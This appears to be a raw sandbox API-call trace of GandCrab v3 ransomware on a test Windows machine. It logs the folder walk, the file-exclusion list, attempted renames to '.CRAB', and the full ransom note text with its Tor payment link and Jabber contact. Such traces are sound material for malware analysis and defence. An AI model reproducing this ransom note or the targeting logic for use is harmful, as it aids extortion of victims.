	[0131.910] ReadFile (in: hFile=0x3f4, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314b474*=0x4a21, lpOverlapped=0x0) returned 1
	[0131.922] VirtualAlloc (lpAddress=0x0, dwSize=0x4a30, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0131.922] VirtualAlloc (lpAddress=0x0, dwSize=0x4a30, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0131.923] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.923] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xffffb5df, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0131.923] WriteFile (in: hFile=0x3f4, lpBuffer=0x310000*, nNumberOfBytesToWrite=0x4a30, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314b464*=0x4a30, lpOverlapped=0x0) returned 1
	[0131.923] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.924] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.928] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0131.928] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0131.928] WriteFile (in: hFile=0x3f4, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0131.928] CloseHandle (hObject=0x3f4) returned 1
	[0131.928] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.928] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.928] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.929] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.929] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.929] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.929] FindNextFileW (in: hFindFile=0x320ded0, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 0
	[0131.929] FindClose (in: hFindFile=0x320ded0 | out: hFindFile=0x320ded0) returned 1
	[0131.929] FindNextFileW (in: hFindFile=0x320e0d0, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0131.929] FindClose (in: hFindFile=0x320e0d0 | out: hFindFile=0x320e0d0) returned 1
	[0131.930] FindNextFileW (in: hFindFile=0x320fa10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0
	[0131.930] FindClose (in: hFindFile=0x320fa10 | out: hFindFile=0x320fa10) returned 1
	[0131.930] FindNextFileW (in: hFindFile=0x320f890, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0
	[0131.930] FindClose (in: hFindFile=0x320f890 | out: hFindFile=0x320f890) returned 1
	[0131.930] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0131.930] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1
	[0131.930] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1
	[0131.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="My Documents" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents"
	[0131.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\"
	[0131.930] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0131.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0131.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0131.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0131.930] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.930] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0131.930] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0131.931] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0131.931] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0131.931] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0131.931] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0131.931] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.931] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\\\CRAB-DECRYPT.txt") returned 52
	[0131.931] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\my documents\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0131.932] GetLastError () returned 0x50
	[0131.932] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.932] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\") returned 35
	[0131.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*"
	[0131.932] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\My Documents\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0131.932] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0131.932] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1
	[0131.932] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1
	[0131.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NetHood" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood"
	[0131.932] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\"
	[0131.932] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.932] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0131.933] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0131.933] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0131.933] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0131.933] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.933] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0131.933] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0131.933] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0131.933] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0131.933] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0131.933] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0131.933] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.933] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\\\CRAB-DECRYPT.txt") returned 47
	[0131.933] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\nethood\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0131.939] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0131.939] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0131.939] CloseHandle (hObject=0x3d4) returned 1
	[0131.940] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.940] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\") returned 30
	[0131.940] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*"
	[0131.940] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NetHood\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0xffffffff
	[0131.940] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0131.940] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1
	[0131.940] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1
	[0131.940] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT"
	[0131.940] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.940] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT") returned 32
	[0131.941] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT") returned 32
	[0131.941] lstrlenW (lpString=".DAT") returned 4
	[0131.941] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.941] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".DAT ") returned 5
	[0131.941] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.941] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT") returned 32
	[0131.941] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT") returned 32
	[0131.941] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="desktop.ini") returned 1
	[0131.941] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="autorun.inf") returned 1
	[0131.941] lstrcmpiW (lpString1="NTUSER.DAT", lpString2="ntuser.dat") returned 0
	[0131.941] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.941] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0131.941] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2=".") returned 1
	[0131.941] lstrcmpW (lpString1="ntuser.dat.LOG1", lpString2="..") returned 1
	[0131.941] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="ntuser.dat.LOG1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1"
	[0131.942] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.942] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned 37
	[0131.942] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned 37
	[0131.942] lstrlenW (lpString=".LOG1") returned 5
	[0131.942] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.942] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".LOG1 ") returned 6
	[0131.942] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.942] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned 37
	[0131.942] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1") returned 37
	[0131.942] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="desktop.ini") returned 1
	[0131.942] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="autorun.inf") returned 1
	[0131.942] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="ntuser.dat") returned 1
	[0131.942] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="iconcache.db") returned 1
	[0131.943] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="bootsect.bak") returned 1
	[0131.943] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="boot.ini") returned 1
	[0131.943] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="ntuser.dat.log") returned 1
	[0131.943] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="thumbs.db") returned -1
	[0131.943] lstrcmpiW (lpString1="ntuser.dat.LOG1", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.943] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.943] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1.CRAB") returned 42
	[0131.943] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat.log1")) returned 0x26
	[0131.943] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1", dwFileAttributes=0x26) returned 1
	[0131.943] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat.log1"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG1.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat.log1.crab")) returned 0
	[0131.944] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.944] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.944] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0131.944] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2=".") returned 1
	[0131.944] lstrcmpW (lpString1="ntuser.dat.LOG2", lpString2="..") returned 1
	[0131.944] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="ntuser.dat.LOG2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2"
	[0131.944] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.944] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned 37
	[0131.945] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned 37
	[0131.945] lstrlenW (lpString=".LOG2") returned 5
	[0131.945] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.945] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".LOG2 ") returned 6
	[0131.945] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.945] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned 37
	[0131.945] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2") returned 37
	[0131.945] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="desktop.ini") returned 1
	[0131.945] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="autorun.inf") returned 1
	[0131.945] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="ntuser.dat") returned 1
	[0131.945] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="iconcache.db") returned 1
	[0131.945] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="bootsect.bak") returned 1
	[0131.945] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="boot.ini") returned 1
	[0131.945] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="ntuser.dat.log") returned 1
	[0131.945] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="thumbs.db") returned -1
	[0131.945] lstrcmpiW (lpString1="ntuser.dat.LOG2", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.945] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.946] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2.CRAB") returned 42
	[0131.946] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat.log2")) returned 0x26
	[0131.946] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2", dwFileAttributes=0x26) returned 1
	[0131.946] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat.log2"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\ntuser.dat.LOG2.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat.log2.crab")) returned 0
	[0131.946] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.946] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.947] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0131.947] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2=".") returned 1
	[0131.947] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="..") returned 1
	[0131.947] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf"
	[0131.947] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0131.961] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 77
	[0131.961] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 77
	[0131.961] lstrlenW (lpString=".blf") returned 4
	[0131.961] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.961] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".blf ") returned 5
	[0131.961] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.962] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 77
	[0131.962] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf") returned 77
	[0131.962] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="desktop.ini") returned 1
	[0131.962] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="autorun.inf") returned 1
	[0131.962] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="ntuser.dat") returned 1
	[0131.962] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="iconcache.db") returned 1
	[0131.962] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="bootsect.bak") returned 1
	[0131.962] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="boot.ini") returned 1
	[0131.962] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="ntuser.dat.log") returned 1
	[0131.962] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="thumbs.db") returned -1
	[0131.962] lstrcmpiW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0131.962] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0131.962] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB") returned 82
	[0131.962] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tm.blf")) returned 0x26
	[0131.966] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf", dwFileAttributes=0x26) returned 1
	[0131.967] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tm.blf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\ntuser.dat{77a2c7ed-26f0-11e5-80da-e41d2d741090}.tm.blf.crab")) returned 0
	[0131.967] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.967] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0131.967] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0131.967] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1
	[0131.967] lstrcmpW (lpString1="NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1
